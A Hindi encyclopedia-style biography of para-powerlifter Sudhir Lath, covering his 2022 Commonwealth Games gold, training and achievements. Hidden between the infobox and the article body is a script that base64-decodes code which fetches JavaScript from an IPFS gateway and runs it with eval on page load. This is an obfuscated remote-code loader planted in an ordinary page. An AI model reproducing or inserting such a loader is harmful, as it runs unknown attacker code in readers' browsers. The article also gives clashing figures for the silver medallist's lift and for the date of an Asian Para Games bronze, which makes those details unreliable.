सुधीर लाठ  

सुधीर लाठ
पूरा नाम सुधीर लाठ
जन्म भूमि ग्राम लाठ, ज़िला सोनीपत, हरियाणा
कर्म भूमि भारत
खेल-क्षेत्र भारोत्तोलन
प्रसिद्धि भारतीय भारोत्तोलक
नागरिकता भारतीय
कॉमनवेल्थ गेम्स बर्मिंघम, 2022 - स्वर्ण
खिताब स्ट्रांग मैन ऑफ इंडिया (2021, 2022)
अन्य जानकारी सुधीर लाठ कहते हैं कि उन्होंने हमेशा देशी खानपान को तरजीह दी है। वह आज भी रोजाना पांच किलो दूध के साथ ही चने और बादाम खाते हैं। इससे उनका शरीर पूरी तरह नेचुरल रहता है।
अद्यतन‎

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>सुधीर लाठ (अंग्रेज़ी: Sudhir Lath) भारत के पैरा-पावर लिफ्टर हैं। उन्होंने बर्मिंघम, इंग्लैंड में आयोजित कॉमनवेल्थ गेम्स, 2022 में देश के लिए स्वर्ण पदक जीता है। सुधीर लाठ ने पैरा-पावर लिफ्टिंग (दिव्यांग एथलीट्स की वेटलिफ्टिंग) में 212 कि.ग्रा. वजन उठाने के साथ स्वर्ण पदक अपने नाम किया। साथ ही उन्होंने खेल का कीर्तिमान भी बनाया। सुधीर लाठ लगातार सात बार के राष्ट्रीय स्वर्ण पदक विजेता रहे हैं। ऐसे में देशवासियों को उनसे राष्ट्रमंडल में भी सोना जीतने की ही उम्मीद थी और सुधीर लाठ ने भारतियों को निराश नहीं किया और स्वर्ण जीतकर उम्मीदों पर खरे उतरे।

परिचय

सुधीर लाठ दो बार के 'स्ट्रांगमैन ऑफ इंडिया' का खिताब भी अपने नाम कर चुके हैं। हरियाणा के सोनीपत के गांव लाठ में किसान परिवार में जन्मे सुधीर लाठ बचपन से ही प्रतिभावान रहे हैं। पांच वर्ष की आयु में पैर में परेशानी के चलते वह दिव्यांग हो गए। सुधीर पोलियो का शिकार हुए थे। इसके बावजूद उन्होंने कभी हार नहीं मानी। साल 2013 में शरीर को फिट रखने के लिए उन्होंने पावर लिफ्टिंग शुरू की। इसमें लगातार अभ्यास करते रहने की वजह से उन्होंने इस खेल को जीवन का हिस्सा बना लिया।[१]

कॅरियर

पैरा खिलाड़ी वीरेंद्र धनखड़ से प्रेरित होकर सुधीर लाठ ने पैरा पावर लिफ्टिंग शुरू की थी। महज दो साल की मेहनत से ही वह नेशनल तक पहुंचे और राष्ट्रीय खेलों में स्वर्ण जीतकर प्रदेश का नाम रोशन किया। यहीं से सुधीर के मन में अंतरराष्ट्रीय स्तर पर पदक जीतने की उम्मीद जगी। सुधीर पिछले लगातार सात साल से नेशनल्स में पावरलिफ्टिंग में स्वर्ण जीतते आ रहे हैं।

स्ट्रांग मैन ऑफ़ इंडिया

साल 2021 और 2022 में सुधीर लाठ ने स्ट्रांग मैन ऑफ इंडिया का खिताब जीता। इसके बाद उन्होंने बर्मिंघम में राष्ट्रमंडल खेलों के लिए तैयारी शुरू कर दी। लोगों की उम्मीद पर खरा उतरने के लिए वह दिल्ली में रोजाना पांच घंटे जमकर पसीना बहाने लगे। वह दिल्ली में रहकर सुबह तीन घंटे और शाम को दो घंटे रोजाना जमकर मेहनत करते थे। इसके लिए सुधीर रोजाना 250 कि.ग्रा. की बेंच प्रेस लगाते थे। इस मेहनत ने सुधीर लाठ को राष्ट्रमंडल खेलों में स्वर्ण पदक दिलाया है। मेन्स हेवीवेट कैटेगरी के फाइनल में उनके आसपास भी कोई नहीं था। नाइजीरिया के 74.10 कि.ग्रा. वजन वाले इकेचुकु क्रिस्टियन ओबिचुकु ने 192 कि.ग्रा. वजन उठाया और 133.6 अंकों के साथ रजत पदक जीता, जबकि स्कॉटलैंड के मिकी यूल ने 130.9 अंकों के साथ कांस्य पदक अपने नाम किया।[१]

कॉमनवेल्थ गेम्स, 2022

सुधीर लाठ ने बर्मिंघम, इंग्लैंड में आयोजित कॉमनवेल्थ गेम्स, 2022 में भारत के लिये स्वर्ण पदक जीता है। उन्होंने 212 कि.ग्रा. के अपने दूसरे वेटलिफ्ट के साथ एक नया राष्ट्रमंडल खेलों का रिकॉर्ड बनाया। उन्होंने 134.5 अंक जीते जिससे उन्हें स्वर्ण पदक हासिल करने में मदद मिली। सुधीर के शरीर का वजन 87.30 किलोग्राम था और उनकी रैक की ऊंचाई 14 थी। सुधीर ने अपने तीसरे और अंतिम प्रयास में 217 कि.ग्रा. का व्यक्तिगत सर्वश्रेष्ठ भार उठाया, लेकिन वे सफल नहीं हो सके। हालांकि, उनका दूसरा प्रयास स्वर्ण पदक के लिए काफी था।

सुधीर लाठ ने अपने अभियान की शुरुआत 208 कि.ग्रा. के सफल वेटलिफ्ट के साथ की। इसके साथ ही सुधीर बर्मिंघम में राष्ट्रमंडल खेलों में पदक जीतने वाले पहले भारतीय पैरा-एथलीट भी बने। नाइजीरिया के इकेचुकु ओबिचुकु ने 187 कि.ग्रा. के सर्वश्रेष्ठ वेटलिफ्ट के साथ रजत पदक जीता जिसके लिए उन्होंने 133.6 अंक हासिल किए। सुधीर ने 2018 से एशियाई पैरा खेलों में कांस्य पदक भी जीता है। 27 वर्षीय सुधीर लाठ ने 2013 में पैरा पावरलिफ्टिंग की थी, उनको पोलियो के प्रभाव के कारण इस कैटेगरी में खेलने का मौका मिला। सुधीर एशियाई पैरा खेलों में भी भाग लेंगे, जिसे सितम्बर 2023 तक के लिए स्थगित कर दिया गया था। उन्होंने इस खेल के के लिए क्वालीफाई कर लिया है।[२]

देशी खानपान

सुधीर लाठ कहते हैं कि उन्होंने हमेशा देशी खानपान को तरजीह दी है। वह आज भी रोजाना पांच किलो दूध के साथ ही चने और बादाम खाते हैं। इससे उनका शरीर पूरी तरह नेचुरल रहता है। वह अन्य खिलाड़ियों को भी स्टेरॉयड का प्रयोग नहीं करने की सलाह देते हैं। वह अभी से पेरिस पैरा ओलंपिक की तैयारियों में जुटे हैं। इसके साथ ही सुधीर लाठ ने अगले साल होने वाले हांग्झू एशियाई पैरा खेलों के लिए भी क्वालिफाई कर लिया है।

उपलब्धियाँ

  • सुधीर लाठ लगातार सात साल से राष्ट्रीय स्वर्ण पदक विजेता हैं।[१]
  • दो बार स्ट्रांग मैन ऑफ इंडिया का खिताब जीता।
  • वर्ष 2019 में पैरा एशियन गेम्स में कांस्य पदक जीता।
  • वर्ष 2021 में दक्षिण कोरिया में एशिया-ओसियाना ओपन पावरलिफ्टिंग चैंपियनशिप में कांस्य पदक जीता।
  • साल 2023 हांग्झू एशियाई खेलों के लिए क्वालिफाई किया।
  • साल 2022 बर्मिंघम राष्ट्रमंडल खेलों में स्वर्ण पदक विजेता।


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टीका टिप्पणी और संदर्भ

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